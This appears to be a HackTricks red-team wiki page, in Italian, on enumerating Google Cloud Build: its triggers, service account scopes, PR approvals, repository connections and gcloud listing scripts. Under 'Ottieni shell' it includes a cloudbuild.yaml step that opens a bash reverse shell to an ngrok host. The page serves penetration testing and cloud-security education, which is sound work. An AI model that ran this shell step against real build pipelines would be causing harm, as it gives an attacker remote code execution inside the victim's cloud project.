GCP - Cloud Build Enum

Impara l'hacking di AWS da zero a eroe con htARTE (Esperto Red Team di HackTricks AWS)!

Altri modi per supportare HackTricks:

Informazioni di Base

Google Cloud Build è una piattaforma CI/CD gestita che automatizza la compilazione del software e i processi di rilascio, integrandosi con i repository di codice sorgente e supportando una vasta gamma di linguaggi di programmazione. Consente agli sviluppatori di compilare, testare e distribuire automaticamente il codice fornendo flessibilità per personalizzare i passaggi di compilazione e i flussi di lavoro.

Ogni Trigger di Cloud Build è collegato a un Cloud Repository o direttamente con un repository esterno (Github, Bitbucket e Gitlab).

Non ho visto alcun modo per rubare il token di Github/Bitbucket da qui o dai Cloud Repositories perché quando il repository viene scaricato viene accesso tramite un URL https://source.cloud.google.com/ e Github non è accessibile dal client.

Eventi

Il Cloud Build può essere attivato se:

  • Push su un branch: Specificare il branch

  • Push di un nuovo tag: Specificare il tag

  • Pull request: Specificare il branch che riceve la PR

  • Invocazione manuale

  • Messaggio Pub/Sub: Specificare l'argomento

  • Evento Webhook: Esporrà un URL HTTPS e la richiesta deve essere autenticata con un segreto

Esecuzione

Ci sono 3 opzioni:

  • Un yaml/json specificando i comandi da eseguire. Di solito: /cloudbuild.yaml

  • Solo uno che può essere specificato "in linea" nella console web e nella cli

  • Opzione più comune

  • Rilevante per l'accesso non autenticato

  • Un Dockerfile da compilare

  • Un Buildpack da compilare

Autorizzazioni SA

Il Service Account ha lo scope cloud-platform, quindi può utilizzare tutti i privilegi. Se nessun SA è specificato (come quando si esegue la submit) verrà utilizzato il SA predefinito <proj-number>@cloudbuild.gserviceaccount.com.

Di default non vengono date autorizzazioni ma è abbastanza facile darne alcune:

Approvazioni

È possibile configurare un Cloud Build per richiedere approvazioni per le esecuzioni della build (disabilitato per impostazione predefinita).

Approvazioni PR

Quando il trigger è una PR perché chiunque può effettuare PR su repository pubblici sarebbe molto pericoloso permettere l'esecuzione del trigger con qualsiasi PR. Pertanto, per impostazione predefinita, l'esecuzione sarà automatica solo per proprietari e collaboratori e, per eseguire il trigger con le PR di altri utenti, un proprietario o collaboratore deve commentare /gcbrun.

Connessioni e Repository

Le connessioni possono essere create su:

  • GitHub: Visualizzerà un prompt OAuth che chiede le autorizzazioni per ottenere un token Github che verrà memorizzato all'interno del Secret Manager.

  • GitHub Enterprise: Chiederà di installare un GithubApp. Verrà creato e memorizzato in questo progetto un token di autenticazione dal tuo host GitHub Enterprise come segreto del Secret Manager.

  • GitLab / Enterprise: È necessario fornire il token di accesso API e il token di accesso API di lettura che verranno memorizzati nel Secret Manager.

Una volta generata una connessione, è possibile utilizzarla per collegare i repository a cui l'account Github ha accesso.

Questa opzione è disponibile tramite il pulsante:

Nota che i repository collegati con questo metodo sono disponibili solo nei Triggers che utilizzano la 2a generazione.

Collega un Repository

Questo non è lo stesso di una connessione. Questo consente diversi modi per ottenere accesso a un repository Github o Bitbucket ma non genera un oggetto di connessione, ma genera un oggetto repository (di 1a generazione).

Questa opzione è disponibile tramite il pulsante:

Archiviazione

A volte Cloud Build genererà un nuovo archivio per memorizzare i file per il trigger. Questo accade ad esempio nell'esempio che GCP offre con:

git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global

Un bucket di archiviazione chiamato security-devbox_cloudbuild è stato creato per memorizzare un file .tgz con i file da utilizzare.

Ottieni shell

steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY

Installa gcloud all'interno di Cloud Build:

# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh

Enumerazione

Potresti trovare informazioni sensibili nelle configurazioni di build e nei log.

# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>

# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs

# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done

# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done

Escalazione dei privilegi

pageGCP - Cloudbuild Privesc

Accesso non autenticato

pageGCP - Cloud Build Unauthenticated Enum

Post Esploitation

pageGCP - Cloud Build Post Exploitation
Impara l'hacking su AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated